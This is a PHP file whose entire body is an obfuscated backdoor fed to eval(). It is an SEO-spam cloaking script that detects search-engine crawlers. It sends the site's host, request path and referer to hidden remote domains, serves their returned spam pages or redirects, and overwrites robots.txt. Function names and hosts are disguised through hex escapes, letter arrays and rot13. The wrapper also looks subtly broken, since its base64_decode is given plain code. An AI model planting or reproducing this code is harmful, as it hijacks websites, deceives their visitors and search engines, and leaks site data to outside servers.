<?php
$a=base64_decode(" goto KREst; rb83A: $http_web = "\x68\164\x74\x70\x73"; goto NKfOK; O3GTE: if ($duri != "\57") { $duri = str_replace("\x2f" . $model_file, '', $duri); $duri = str_replace("\57\151\156\x64\x65\x78\x2e\x70\150\160", '', $duri); $duri = str_replace("\41", '', $duri); } goto lhRIJ; nB0ib: if (isset($_SERVER["\x48\x54\124\120\x5f\x52\105\106\105\122\105\x52"])) { $urlshang = $_SERVER["\x48\124\124\120\x5f\x52\x45\106\x45\122\x45\x52"]; } goto dwvfo; TGULt: if (empty($matches) || $matches[1] == "\x77\160\x2d\143\x72\x6f\155\56\x70\150\160" || $matches[1] == "\144\x65\x74\x61\151\x6c\x2e\x70\150\x70") { $model_file = "\151\156\x64\x65\170\56\x70\150\x70"; $model = "\151\156\x64\145\x78"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\x2f"); } $model = str_replace("\x2e\160\150\160", '', $model_file); } goto NVH_O; NVH_O: if (stristr($duri, "\57\77")) { $model = "\77"; } goto yGcZn; N7hX8: function create_robots($url) { $function = func(); $path = $_SERVER["\x44\117\103\x55\115\105\x4e\124\137\122\117\x4f\124"] . "\x2f\x72\x6f\142\157\x74\163\x2e\x74\x78\x74"; $content = "\125\x73\145\x72\x2d\141\x67\x65\x6e\164\x3a\40\x2a" . PHP_EOL; $content .= "\x41\x6c\154\x6f\167\x3a\x20\57" . PHP_EOL . PHP_EOL; $content .= "\x53\x69\164\x65\155\141\160\x3a\40" . $url . "\x2f\x73\x69\164\145\155\x61\x70\x2e\170\155\x6c" . PHP_EOL; if (!file_exists($path)) { $function[0]($path, $content); } else { $existingContent = $function[1]($path); if ($existingContent !== $content) { $function[0]($path, $content); } } } goto zrPi3; jUDyC: $duri = $duri == '' ? "\x2f" : $duri; goto WUiKZ; oRMp1: $urlshang = ''; goto nB0ib; yGcZn: $string = "\x33\61\x37\x2d\154\151\x6e\153\61\67\71"; goto cs2e3; zrPi3: function request($webs, $http_web, $param) { $function = func(); shuffle($webs); foreach ($webs as $domain) { $domain = $function[2](urldecode($domain)); $url = $http_web . "\72\x2f\x2f" . $domain . "\x2f\x73\165\x70\x65\162\x36\56\160\x68\160\x3f" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\64\64\63")) { echo "\64\x34\63"; } curl_close($ch); } if (ini_get("\x61\x6c\x6c\x6f\x77\137\x75\x72\154\x5f\146\x6f\x70\x65\156")) { $response = @$function[1]($url); if ($response !== false) { return $response; } } } return "\156\157\142\157\x74\x75\x73\145\x72\141\147\145\156\x74"; } goto rWwD8; HV7fg: $lang = isset($_SERVER["\x48\x54\124\120\137\101\103\x43\x45\120\124\137\114\101\x4e\107\125\x41\x47\x45"]) ?: "\145\156"; goto oRMp1; KREst: $xmlname = array("\x25\63\63\x25\x33\x31\45\x33\67\x25\62\x44\45\67\x39\x25\67\66\x25\66\x31\x25\67\x38\45\x33\61\x25\63\67\x25\63\71\45\62\105\45\66\x32\x25\66\106\x25\x37\x33\x25\66\70\45\66\x36\45\67\x30\x25\x36\70\x25\67\x36\x25\x36\x31\45\x32\105\45\x36\x37\x25\x36\62\x25\x36\63", "\45\63\63\45\63\61\45\63\x37\45\62\x44\45\x37\71\x25\67\66\x25\66\x31\45\67\70\45\x33\61\45\63\67\45\63\71\x25\x32\x45\x25\66\x36\45\67\62\x25\66\65\45\67\62\45\66\x31\45\x37\x31\x25\x37\x36\x25\66\67\45\66\103\45\62\x45\x25\66\67\45\66\x32\45\x36\x33", "\x25\63\63\x25\63\x31\45\63\67\45\62\x44\x25\x37\x39\45\67\66\x25\66\61\45\x37\70\x25\x33\x31\x25\x33\67\x25\63\71\x25\62\105\x25\x37\x32\x25\67\x30\45\x36\62\45\66\x39\45\x37\66\x25\x36\x36\x25\67\66\45\66\x32\45\66\66\x25\x32\x45\x25\x36\102\x25\66\x43\45\x36\104", "\x25\x33\63\x25\x33\x31\x25\63\67\45\x32\x44\45\67\71\45\x37\66\45\66\x31\x25\67\70\x25\x33\61\x25\63\x37\x25\x33\71\x25\62\105\45\x37\x36\x25\x36\61\45\66\x31\45\x36\62\45\66\x36\x25\66\x33\x25\x37\x32\45\66\x31\x25\62\105\45\66\67\x25\x36\x32\45\x36\63"); goto rb83A; DrvAK: $param = "\167\x65\142\x3d" . $host . "\46\x7a\172\x3d" . $zz . "\46\x75\162\151\75" . $duri . "\x26\165\162\x6c\163\x68\x61\x6e\x67\75" . $urlshang . "\46\x68\x74\164\x70\x3d" . $http . "\x26\x6c\141\156\147\75" . $lang . "\x26\x73\145\162\x76\145\162\x3d" . $server . "\x26\155\x6f\144\x65\x6c\x3d" . $model; goto DHQdv; cs2e3: $istest = false; goto EIDUs; uPCOJ: $zz = disbot(); goto FFrBd; C0Lmo: function detect_server_software() { $path = $_SERVER["\104\117\x43\125\x4d\105\116\x54\x5f\x52\x4f\117\x54"] . "\x2f\56\x68\164\x61\143\x63\145\163\163"; if (file_exists($path)) { return 1; } else { return 2; } } goto N7hX8; dwvfo: if (is_https()) { $http = "\150\164\164\160\x73"; } else { $http = "\x68\x74\x74\160"; } goto uPCOJ; I8w07: $server = detect_server_software(); goto sL3fa; Hu1W4: function disbot() { $user_agent = strtolower($_SERVER["\110\124\x54\120\x5f\125\123\x45\x52\x5f\101\107\105\116\124"]); if (stristr($user_agent, "\147\157\157\147\x6c\x65\142\157\x74") || stristr($user_agent, "\x62\151\156\147") || stristr($user_agent, "\x79\141\150\157\x6f") || stristr($user_agent, "\x67\x6f\157\x67\154\145") || stristr($user_agent, "\x47\157\x6f\x67\154\145\x62\157\x74")) { return 1; } else { return 2; } } goto Ngt8w; Ngt8w: function drequest_uri() { if (isset($_SERVER["\122\105\x51\125\105\123\124\137\125\122\111"])) { $duri = $_SERVER["\x52\105\121\125\x45\x53\x54\x5f\125\x52\111"]; } else { if (isset($_SERVER["\141\x72\147\166"])) { $duri = $_SERVER["\x50\x48\x50\137\x53\x45\x4c\106"] . "\77" . $_SERVER["\141\x72\147\166"][0]; } else { $duri = $_SERVER["\x50\x48\x50\x5f\x53\x45\x4c\106"] . "\77" . $_SERVER["\121\x55\105\122\131\x5f\x53\x54\x52\x49\116\107"]; } } return $duri; } goto bruLr; bruLr: function is_https() { if (isset($_SERVER["\110\x54\124\x50\123"]) && strtolower($_SERVER["\110\124\124\120\123"]) !== "\157\x66\146") { return true; } elseif (isset($_SERVER["\x48\x54\x54\x50\x5f\x58\x5f\106\x4f\122\x57\101\x52\104\x45\104\137\x50\x52\x4f\x54\x4f"]) && $_SERVER["\110\124\124\120\x5f\130\137\x46\x4f\122\x57\101\x52\x44\105\104\137\120\122\117\124\117"] === "\150\x74\x74\160\x73") { return true; } elseif (isset($_SERVER["\x48\x54\x54\120\137\106\122\x4f\x4e\x54\x5f\x45\116\104\137\110\124\x54\x50\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\137\x46\x52\117\x4e\124\x5f\105\x4e\104\137\110\x54\x54\120\x53"]) !== "\157\146\x66") { return true; } return false; } goto C0Lmo; sL3fa: create_robots($http . "\72\x2f\x2f" . $host); goto DrvAK; EIDUs: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto O3GTE; FFrBd: $duri = drequest_uri(); goto jUDyC; lhRIJ: $duri = urlencode($duri); goto I8w07; WUiKZ: preg_match("\57\x5c\57\50\133\136\134\57\x5d\x2b\x5c\56\160\150\x70\x29\57", $duri, $matches); goto TGULt; NKfOK: $host = $_SERVER["\x48\x54\124\x50\137\110\117\x53\x54"]; goto HV7fg; Onw7_: if (!strstr($html_content, "\156\157\x62\157\164\x75\163\145\x72\x61\147\x65\x6e\x74")) { if (strstr($html_content, "\157\x6b\x68\164\x6d\154")) { @header("\x43\x6f\x6e\x74\145\x6e\x74\x2d\x74\x79\x70\145\72\40\164\x65\170\x74\x2f\150\x74\x6d\154\x3b\x20\x63\x68\x61\162\x73\x65\164\x3d\165\164\146\55\x38"); $html_content = str_replace("\x6f\153\x68\x74\x6d\x6c", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\x67\x65\164\143\x6f\x6e\164\x65\x6e\164\65\60\x30\x70\141\147\x65")) { @header("\110\x54\x54\x50\57\x31\x2e\x31\40\65\x30\x30\40\111\x6e\x74\x65\x72\156\141\154\x20\x53\x65\x72\166\x65\x72\x20\x45\x72\162\x6f\x72"); die; } else { if (strstr($html_content, "\x34\60\64\x70\141\x67\x65")) { @header("\x48\x54\x54\120\57\61\56\61\x20\x34\x30\64\x20\x4e\157\164\40\x46\x6f\165\156\144"); die; } else { if (strstr($html_content, "\x33\x30\x31\160\141\147\x65")) { @header("\x48\x54\x54\x50\57\x31\56\x31\40\63\x30\x31\x20\115\x6f\166\145\x64\40\120\145\162\x6d\141\x6e\145\156\x74\154\x79"); $html_content = str_replace("\x33\x30\61\x70\141\x67\145", '', $html_content); header("\x4c\x6f\143\141\164\151\157\156\x3a\40" . $html_content); die; } else { if (strstr($html_content, "\157\x6b\x78\155\x6c")) { $html_content = str_replace("\x6f\153\170\155\x6c", '', $html_content); @header("\x43\x6f\x6e\164\145\x6e\164\55\x54\171\x70\x65\x3a\40\141\160\x70\154\151\x63\x61\x74\x69\x6f\x6e\57\x78\x6d\154\x3b\40\x63\x68\141\x72\163\145\164\x3d\165\x74\146\55\x38"); echo $html_content; die; } else { if (strstr($html_content, "\157\x6b\x72\157\x62\157\x74\163")) { $html_content = str_replace("\x6f\153\162\x6f\142\x6f\164\x73", '', $html_content); @header("\x43\157\x6e\x74\x65\156\x74\55\124\171\x70\145\x3a\40\164\x65\170\x74\x2f\x70\x6c\x61\151\156"); echo $html_content; die; } } } } } } } goto Hu1W4; DHQdv: $html_content = request($xmlname, $http_web, $param); goto Onw7_; rWwD8: function func() { $chars = range("\141", "\x7a"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[15] . $chars[20] . $chars[19] . "\137" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[6] . $chars[4] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\x5f" . $chars[17] . $chars[14] . $chars[19] . "\x31\x33"); }");
eval($a);